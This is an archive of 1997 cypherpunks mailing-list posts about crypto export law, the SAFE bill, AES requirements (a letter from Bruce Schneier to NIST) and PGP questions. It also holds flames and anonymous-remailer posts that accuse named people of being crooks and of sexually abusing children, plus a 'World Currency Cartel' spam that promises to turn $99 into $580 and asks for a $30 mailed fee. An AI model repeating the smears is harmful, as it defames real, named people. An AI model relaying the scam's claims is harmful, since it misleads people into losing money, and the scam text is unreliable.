Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
Message-ID: <T23q6D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@well.com> writes:

> My lord, I'm agreeing with Jim Bell!

Declan is showing promise.

> Right now, no controls exit on domestic crypto, though strict export
> controls are in place.
>
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)

Most folks who are trying to sell crypto products will say YES.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 22:00:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Query: Who has left the U.S. to evade the law?
In-Reply-To: <Pine.GSO.3.95.970425201315.13101B-100000@well.com>
Message-ID: <DD4q6D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@well.com> writes:

> An associate is trying to find an American who left the country to operate
> a high-tech business, possibly illegal, outside the U.S. to evade American
> laws. Think hacking/cracking, money laundering, child porn, black market.
> This is for a profile in _Details_ magazine.  Any tips? My friend is
> discreet and trustworthy and lives in New York City.

If your "friend" is Charlie Platt, you should stay away from him -
Charlie is a liar and a crook.

Now, what was the name of that guy in Antigua...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 26 Apr 1997 00:52:18 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: SNL/NSA Crypto Security
Message-ID: <3.0.32.19970426004013.0076cb80@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:57 PM 4/21/97 -0400, John Young wrote:
[...]
>One affidavit cites Payne's claim to knowing how to "easily 
>break public key encryption" but refused to tell NSA, thus
>harming SNL's customer relations.
>
>http://jya.com/nsasuit4.htm

Indeed. Let's try to get a copy of the draft mentioned in the affidavit:
" 20. Also included with the letter to Professor Fushimi was a draft
document written by plaintiff Payne entitled a "Public Key Encryption Is
Easily Broken." No member of Dr. Payne's management was advised of his plan
to release this document and Sandia had no opportunity to inform NSA of his
plans. "




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "bambi@mail.vdocam.com" <bambi@vdocam.com>
Date: Sat, 26 Apr 1997 10:35:23 -0700 (PDT)
To: bambi@vdocam.com
Subject: zzzt, scirching
Message-ID: <199704261715.RAA27761@mail.vdocam.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 26 Apr 1997 07:42:51 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query: Who has left the U.S. to evade the law?
In-Reply-To: <DD4q6D12w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970426103727.12620A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't confirm or deny whether my associate is Charles, but I will say
that he is not a liar nor a crook. Far from it.

I vaguely remember a flamewar between you two on cypherpunks a few months
back, centering around how you got kicked off of an ISP, so perhaps that
explains your animus towards him. 

-Declan


On Sat, 26 Apr 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@well.com> writes:
> 
> > An associate is trying to find an American who left the country to operate
> > a high-tech business, possibly illegal, outside the U.S. to evade American
> > laws. Think hacking/cracking, money laundering, child porn, black market.
> > This is for a profile in _Details_ magazine.  Any tips? My friend is
> > discreet and trustworthy and lives in New York City.
> 
> If your "friend" is Charlie Platt, you should stay away from him -
> Charlie is a liar and a crook.
> 
> Now, what was the name of that guy in Antigua...
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 26 Apr 1997 10:44:45 -0700 (PDT)
To: Ernest Hua <hua@chromatic.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <3.0.32.19970426015419.00720cc8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:13 AM 4/25/97 -0700, Ernest Hua wrote:
>Let's let the legislative process (whatever you think of it) take its
>course.  I'll be happy even if they sneak some screwy secret committee
>on the final bill, as long as we are not subject to that committee or
>any other governmental body just because we allow ftp of C source code
>by our off-shore friends.

I think this is a dangerous position to take... make that fatal. The code
is already being ftp'ed out of the US. The law would gain you little. But
the new restrictions/enhanced penalties, which will inevitably be included
in any crypto bill that might become law, will set us back severely.
Personally, I hope that none of the crypto bills pending gets passed.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 26 Apr 1997 09:42:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Query: Who has left the U.S. to evade the law?
In-Reply-To: <Pine.GSO.3.95.970426103727.12620A-100000@cp.pathfinder.com>
Message-ID: <wN1R6D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@pathfinder.com> writes:

> I can't confirm or deny whether my associate is Charles, but I will say
> that he is not a liar nor a crook. Far from it.

Charles Platt is a liar and a crook.  Ask his former business partners
in the "Cryocare foundation". Re-read the bullshit that he's been posting
to this mailing list. Re-read his sick sexual fantasies on alt.torture.

> I vaguely remember a flamewar between you two on cypherpunks a few months
> back, centering around how you got kicked off of an ISP, so perhaps that
> explains your animus towards him.

Charles Platt claimed that I was kicked off panix.com for "theft of
services". He posted this lie to cypherpunks, to Declan's "fight
censorship" mailing list, and several other forums. Platt's claim is
an outright lie, like everything else he says. Yes, there used to
be an account "vulis@panix.com", used mostly by my wife. We didn't
like Panix's service, so we stopped paying for it, and the account
was closed in October 96. We fired Panix. If Panix thinks we owe
them something for their service, let them speak up.

Declan's credibility as a journalist is severely hurt by his association
with the proven liar and a crook - Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Sat, 26 Apr 1997 10:28:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: AES Comments
Message-ID: <v03007802af87eb708bce@[206.11.192.175]>
MIME-Version: 1.0
Content-Type: text/plain


26 April 1997


Director, Computer Systems Laboratory
Attn: FIPS for AES Comments
Technology Building, Room A231
National Institute of Standards and Technology
Gaithersburg, MD 20899


				RE: Advanced Encryption Standard (AES)


Dear Mr. Director:

This letter is to offer additional advice subsequent to the 15 April 1997
meeting at NIST, "Developing the Advanced Encryption Workshop." I
appreciate your institute's efforts to develop an AES, and am pleased that
you recognize the importance of this task.

Much of the discussion at the 15 April meeting centered around the "Minimum
Acceptability Requirements" and the "Evaluation Criteria" for the AES.
These are important metrics: good Evaluation Criteria will ensure that the
best algorithm is selected as the AES, while good Minimum Acceptability
Requirements will limit the submissions to high-quality ones.

At the meeting you repeatedly stated that you intend that AES will be a
standard for 20-30 years.   To me, this means that the algorithm will be
used in legacy applications for at least another ten, securing information
that may be required to be confidential for yet another ten.  Assuming we
have a standard approved by the year 2000, the AES must be secure through
the year 2050.

We need to look at AES requirements with this in mind.

Clearly, any algorithm approved for the AES must be secure.  The difficulty
will be choosing among several secure algorithms.  In this letter, I would
like to ignore the important problem of deciding if an algorithm is secure
(and if it will remain secure through the year 2050), and concentrate on
the non-cryptographic requirements.

At the meeting we discussed both flexibility and efficiency: what they
mean, how important they are, and how to compare.

Evaluating encryption algorithms on 32-bit processors such as the Pentium
seems short-sighted for such a long-lasting standard.  Just as the DES,
designed for dedicated hardware in the mid 1970s, is inefficient on any
modern processor, any AES designed for today's computer architectures will
be inefficient on whatever is used 20 years from now.

That isn't much of a problem, though.  Programmers have spent long hours
optimizing DES for different architectures.  And computing power still
doubles every eighteen months: any algorithm becomes ten times faster just
by waiting five years.  Everything is fast on the 64-bit DEC Alpha.

The difficulty is in the low end: embedded systems, smart cards.  The
lesson of the past 20 years of computing seems to be that while the high
end always gets better, the low end never goes away.  We're still
programming tiny 8-bit microprocessors; instead of being used in desktop
computers, they're in cellular phones, automobiles, electrical meters, and
smart cards.  These processors will be around for a long time to come, in
Dick-Tracy-like wristwatch communicators, small affixable processors
(Micron is building the technology), and who knows what else
(nanotechnology?).

The AES should be efficient on the low-end processors that are around
today, and be scalable to 16-, 32-, and 64-bit processors.  And think fast;
almost anything written today is faster than triple-DES (see table below).
Encryption at 16 clock cycles per byte; that takes real work.


				     Clock Cycles per
		Algorithm	     Byte Encrypted
		Name		     on a Pentium

		SEAL (stream)		   4
		RC4 (stream)		   7
		Blowfish		  18
		Khufu			  20
		RC5 (16 rounds)	  	  23
		DES			  45
		IDEA			  50
		Triple-DES		 108


With this in mind, I propose a set of Minimum Acceptability Criteria that
pushes the envelope of current encryption algorithms:

	A variable key, supporting (at least) a 128- and 256-bit key .

	Both block modes and a stream modes, with the steam modes at least
five times faster than the block modes.

	Block modes with a 128-bit block.

	A standard hash-function mode.

	A standard MAC (Message Authentication Code) mode.

	Variability in the algorithm to provide a family key for different
applications.

	Encryption speeds (in clock cycles per byte encrypted):

		No more than 64 on an 8-bit smart card with a 128-bit key.

		No more than 32 on a 16-bit processor with a 128-bit key.

		No more than 16 on a Pentium, Pentium Pro, PowerPC, or DEC
Alpha with a 128-bit key.

		No more than double with a 256-bit key on any platform.

	Encryption and decryption speeds within 10% of each other.

	Key setup no more than 5 times the speed to encrypt one block for a
128-bit key, and no more than 10 times encryption speed for a 256-bit key.

	Implementable in hardware with a total table size of less than 256
bytes.

	Hardware encryption throughput of one block per clock cycle (given
enough gates), with a maximum latency of 16 clock cycles.

	Minimum RAM requirements (RAM only, not code or tables) of no more
than 64 bytes on an 8-bit smart-card processor.

	Minimum table size of no more than 256 bytes on an 8-bit smart-card
processor.

These requirements are not easy to meet.  As far as I know, no published
block cipher meets them all (although some come close in many areas).  But
requirements such as these will challenge the world's cryptographic
research organizations to create something useful.

I know you realize that the selection process will take several years to
complete.  Therefor, I urge you to approve triple-DES as an interim
standard.  This will satisfy users who need a 64-bit block cipher for
compatibility reasons, while allowing you the time required to choose and
approve the best AES you can.

I applaud your efforts in this matter, and I look forward seeing your call
for submissions in the Federal Register


Sincerely,



Bruce Schneier

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 26 Apr 1997 13:40:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Staale & Elm
Message-ID: <TCPSMTP.17.4.26.-16.29.48.2780269260.1618548@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Howdy :)

1. Does anybody know, what happened to the International
PGP-Homepage (http//www.ifi.uio.no/PGP/)? It comes up as "Link not
found" (?!)
Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
to be gone...

2. A friend of mine is using Linux and Elm. I recently got her to
use PGP, but the poor thing does everything manually via command
lines. Can anybody recommend some good front-end's available for
Linux-Elm?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Want to use PGP? --> http://bureau42.base.org/public/pgpsteps.txt

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2JpPTltEBIEF0MBAQGnHwf9FEKh2mDV3xLhfeCX4UG823cB34qXyEl5
zyh2OeVwN8U21H2Vq09vv0OMKR4ObLRRA6xKRtQgRsSDZUEnsWvfp+O5tD7MRlvo
CWH+TbPufzYsLXs6HtGVU6i8ImvN75WY7VuE1+cyYCzscR8M2l0wGlNGdnhvPg0X
HQ7EZsLbcppdq8G73jBpoviLWxWD5JjjTmEbBg2yMI8stx84WwzcYy/LGj9nTc0t
J4jFUcvT4RDWwWveiGY4vHrAe2338VQARmBDpsItAaWDYbMU7TJQoJ8OF73/iYoJ
tRg3S0cuUFwzvJPGpvWEsDJHOlsQGg06WjVSgRfxeNaeEK5w3bOthA==
=rDLZ
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 26 Apr 1997 13:46:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: International PGP page
Message-ID: <TCPSMTP.17.4.26.-16.40.4.2780269260.1618556@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hmm, now it's back again...strange.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2JqqzltEBIEF0MBAQHIpwf/U5SJoAkWezR046gMqddmsSCA28sDzJiD
5kJmCkgSq8qhnr79jOtdk8uvHailW++Xx/kDtvXkk8YpmJV1ALaSdrPTuN+TCnGS
xx0aDm2ju5FuUdzeP0zcp6UJPAKZgmvy5tEue5j47mxzN/iBqzxW9m409ovJWWVs
fWk+/Ga+LlbMKwE0pqV83GVbaVkEiIu/ZfmwIHLf8q/Y2YFpEMEM+AgYKbX+RZJd
+jT4s35CdXUP0ia1FepfuLHnxf/mtVJTLqiZhd3bErKxS9XeHUjufh7jcLes2izl
cziaUk9LnWoUg9wdbnXzkyMmAVd48quPxU3QOpfx16aUPa+oTanYig==
=+nsL
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CALL@TOLL.FREE
Date: Sat, 26 Apr 1997 15:10:22 -0700 (PDT)
To: 9.9longdistance@usa.net
Subject: >>> 9.9  LONG  DISTANCE <<<
Message-ID: <9.93longdistance@usa.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tz@execpc.com
Date: Sat, 26 Apr 1997 15:51:43 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
Message-ID: <97Apr26.185020edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 25 Apr 1997, Declan McCullagh wrote:

> My lord, I'm agreeing with Jim Bell!
> 
> Right now, no controls exit on domestic crypto, though strict export
> controls are in place.
> 
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)
> 
> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
> progeny, while we keep our freedoms domestically. 
> 
> -Declan

I emailed Rep Goodlatte, but didn't get a response about this issue.  My
main problem is that it becomes a felony to use encryption for anything
that can be prosecuted if I take the legalese literally.  So if I have a
GSM cell phone in a car that is illegally parked, it seems that I would
fall under the definition.

I would mind it less if, 1. There had to be a conviction for the main
crime.  2. The main crime must be a serious felony (i.e. something far
worse than a single overdrawn check).  3. The penaly for using encryption
in furtherance should be less than that for the main crime.  4. encryption
had to play an intrinsic role in the main crime.  5. It must go beyond
common, everyday uses of encryption.

tz@execpc.com
finger tz@execpc.com for PGP key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 26 Apr 1997 16:43:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Accounts payable
Message-ID: <199704262343.TAA15392@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 21 Apr 1997 09:13:49 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Cc: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Accounts payable
Sender: owner-cypherpunks@toad.com

I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 21 Apr 1997, Huge Cajones Remailer wrote:

> Timmy May is a licenced sexual pervert who wears Graham-John Bullers' 
> underwear.
> 
>  .   ___ o Timmy May
>  ^z\/o\ o
>  ^z/\_~_/
>  '   '
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 26 Apr 1997 20:49:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <199704251813.LAA18728@server1.chromatic.com>
Message-ID: <199704270244.TAA07840@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Ernest Hua wrote:
> 
> > It also creates new criminal penalties for using encryption to
> > further a criminal act ...  Remember that Maryland bill that would
> > criminalize sending "annoying" or "harassing" email? If the
> > Goodlatte bill became law, Marylanders who signed their messages
> > with PGP or telnetted to local ISPs could be slammed with an
> > all-expenses-paid trip to the Federal pen for five years ...  In
> > other words, SAFE would turn state misdemeanors into Federal
> > felonies.  This is not good.
> 
> Ok.  So it's kind of bad in this respect, but let's face it ... we
> can't have everything OUR way, the FIRST time around.  Washington
> politics is just not that way (not that you need such a reminder).

Are you kidding? With the exception of export controls, we DO have
it our way now. If we let them have it at all, we will NEVER have
it our way. Any legislation at all, no matter what it says, is bad.

> 
> > A coalition of groups is sending a letter to Goodlatte tomorrow 
> > supporting the bill but expressing concern over the criminalization 
> > provision. Interested in signing on? Email David Sobel: 
> > sobel@epic.org.
> 
> Let's let the legislative process (whatever you think of it) take its
> course.  I'll be happy even if they sneak some screwy secret committee
> on the final bill, as long as we are not subject to that committee or
> any other governmental body just because we allow ftp of C source code
> by our off-shore friends.

Under no circumstances should any right or liberty be sacrificed so that
we can export crypto. One of the principal reasons for export control
is to prevent the widespread deployment of strong crypto IN the U.S.
It seems they are willing to lift export controls if we all lie down
and let them impose controls on domestic use. No thanks. Fuck RSA. 
Fuck Netscape. Fuck M$. I'm not gonna give up my ability to use crypto
so they can make more money.

-- Mr. E





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Exchange@CurrencyCartel1.com
Date: Sat, 26 Apr 1997 23:46:18 -0700 (PDT)
To: Exchange@CurrencyCartel1.com
Subject: " A Very IMPORTANT Announcement " !
Message-ID: <9704270640.AN10291@ns.dmi.net>
MIME-Version: 1.0
Content-Type: text/plain



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

            ''''''''''''''''''''  A VERY IMPORTANT ANNOUNCEMENT '''''''''''''''''''''''''
                                ' Your Future May Depend On it '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Before you should know what the 'Important Announcement' is, please read the
following 'Editorial Excerpts' from some important publications in the U.S.A.

New York Times:
''''''''''''''''''''''''''''''''''''''''''''''''   " In concluding our review of Financial Organizations to
effect change in the 90's, special  attention should  be called to the  ' World 
Currency Cartel ' based in California. Members of this organization are amassing 
hundreds of millions of dollars in the currency market using a very LEGAL method
which has not been divulged to the general public. While their purpose, if any, is 
not yet known, their presence has most certainly been felt ".

ABC Nightly News:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''   "Members of the World Currency Cartel are among the most
                                          powerful & wealthiest people in this hemisphere".

Dear Friend:

More Excerpts later, but first let us give you this Important Announcement:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
We are glad to announce that for the very first time and for a short time only, the 
World Currency Cartel will instruct a LIMITED number of people worldwide HOW 
TO CONVERT $25 INTO ONE HUNDRED OF LEGAL CURRENCY. We will tran-
sact the first conversion for you, after that you can easily and quickly do this on 
your own hundreds or even thousands of times each month, month after month! 
Take advantage of the SECRET FLAW !
                       '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
It is even more explosive  than we have  yet  disclosed.  While currency does 
fluctuate  daily, we can show you  HOW TO CONVERT $99  INTO  $588 as
many time as you want ! That means YOU WILL BE ABLE TO EXCHANGE $99 
AMERICAN LEGAL CURRENCY DOLLARS FOR $580 OF THE SAME, and you
can do this  AS MANY TIMES AS YOU WANT, every day, every week , every 
month!!         ALL VERY LEGALLY & EFFORTLESSLY !!!
                 '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
It only takes about 8 to 12 minutes each time you do this. You can do this from 
your home, office or even while travelling. All you need is an access to any phone 
line and an address and you can do this from ANY CITY ON THIS EARTH.

Again, we must reiterate:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  Anyone can do this and the source is Never-Ending. 
For as long as the global financial community  continues  to use different 
currencies with varying exchange rates, the 'SECRET FLAW' will exist.
                                                                ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
We at the World Currency Cartel would like to see a uniform global currency 
backed by Gold. But, until then, we will allow a LIMITED number of individuals
WORLDWIDE to share in the Unlimited Profits provided for by the world paper
currency differentials.

We will espouse no more political views nor will we ask you do so. We can 
say however,  that our parent organization 'Diamond International' benefits 
greatly by the knowledge being shared as we ourselves ALONG WITH YOU
benefit likewise. Your main CONCERN, however, will be How you benefit.

In a short time with NO investment or training, you will be a Currency Exchange 
Expert  who can make transactions from your home, by telephone or through 
the mail.         NO ONE CAN STOP YOU FROM EARNING HUNDREDS OF 
                     '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                      THOUSANDS, EVEN MILLIONS EACH YEAR AS LONG AS 
                     '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                      THE 'SECRET FLAW' EXIST !
                     ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
The amount of exchange you would do each time is entirely upto you. Working 
just 2 to 3 hours a week, you can soon join the list of other  MILLIONAIRES 
who does this on a daily basis and many many times a day! The transactions 
are so simple that a high school kid can do this!!     
DON'T BELIEVE US, EXPERIENCE IT FOR YOURSELF !!!
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Unlike anyone else, we will assure you great financial freedom and you will 
add to our quickly growing base of  supporters and join the list of  Millionaires 
being made using this SECRET FLAW in the world currency market.
                                '''''''''''''''''''''''''''''''''''''''''''''''''''''
DON'T ENVY US, JOIN US TODAY
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
There is a small yearly membership fee of only $30 to cover administrative cost.  
Your important documents, instructions, contacts name & addresses along with 
important phone numbers and all other pertinent information will be mailed to 
you IMMEDIATELY! 

Once you become a member, you promise to keep all infos Confidential. Should
you choose to cancel your membership, you may return all materials within 60
days for refund.

IMPORTANT:
''''''''''''''''''''''''''''''''''''''''
1.......Write your name & mailing address Very Clearly on a small sheet of paper
2........Below your address, please write your E-MAIL address for the record
3........Below that please write the word 'NEW MEMBER'
3........Attache a CHECK or M.O. for US$30.00 and mail it to:


                            DIAMOND INTERNATIONAL
                            7510   SUNSET BLVD;
                            SUITE #  334
                            LOS ANGELES, CA.90046

( If you are outside U.S.A., please ADD US$ 10 extra for shipping  &  postage )
  ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
No more e-mail enquiries please. We do not have time to reply to individual 
e-mails anymore! We are busy making money!! Wouldn't you rather be doing 
the same too? Thank you !!!

Here are some more 'Editorial Excerpts' :
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Wall Street Journal:
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''   "A discreet group of American & European business 
people, operating under the guise of  World Currency Cartel   have recently
begun making rumbles in world finance market. While at this time, their game is 
not completely known, they certainly be watched by those making major moves
in the currency contracts".

Wall Street Week:
''''''''''''''''''''''''''''''''''''''''''''''''''''''   " Watch them, monitor them, extract their knowledge
and try to become one of them. That is the soundest financial advice I could
ever give someone ".

National Business Weekly:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''   " While this reporter has been left in the cold as
to its method of operation, we have been able to confirm that  World Currency
Cartel and its members are literally amassing great fortunes overnight".

Barons:
'''''''''''''''''''''''''''''   " Simply put, they (world currency cartel) are the single most
powerful financial entity to emerge in this decade ".

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;   E  N  D  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Apr 1997 01:00:06 -0700 (PDT)
To: Tim May <tcmay@got.net>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.1.32.19970425112019.0063ddd8@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970427003936.0064b978@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:59 PM 4/25/97 -0800, Tim May wrote:
>At 10:20 AM -0800 4/25/97, Bill Stewart wrote:
>>Attachment converted: APS 1GB Fireball:PYRBBROW.GIF (GIFf/JVWR) (0000F3F7)
> ^^^^^^^^^^^^^^^^^^^^^
>I know I sound like a broken record, but these "attachments" are getting
>out of hand. I periodically look at my attachments folder and find several

Yeah, I probably shouldn't have, but it was small...

>(This GIF I opened...it appears to be a beer bottle with a star hanging
>around the neck. Self-ratings of beer?)

The context was the [some censorship group] initiative to ban alcohol and
tobacco advertising on the web.  Their big hangup is Joe Camel, of course,
but I didn't have a handy Joe Camel gif around at the time I was posting,
and good beer is a far more civilized thing anyway :-) - it's Pyramid's
Best Brown Ale.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 27 Apr 1997 01:26:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Meet-in-the-middle attack
Message-ID: <199704270826.EAA22338@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[rook] May prefers to have sex with little kids 
because his own penis is like that of a three-year-old.

      /\
     /..\  Tim C[rook] May
    /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
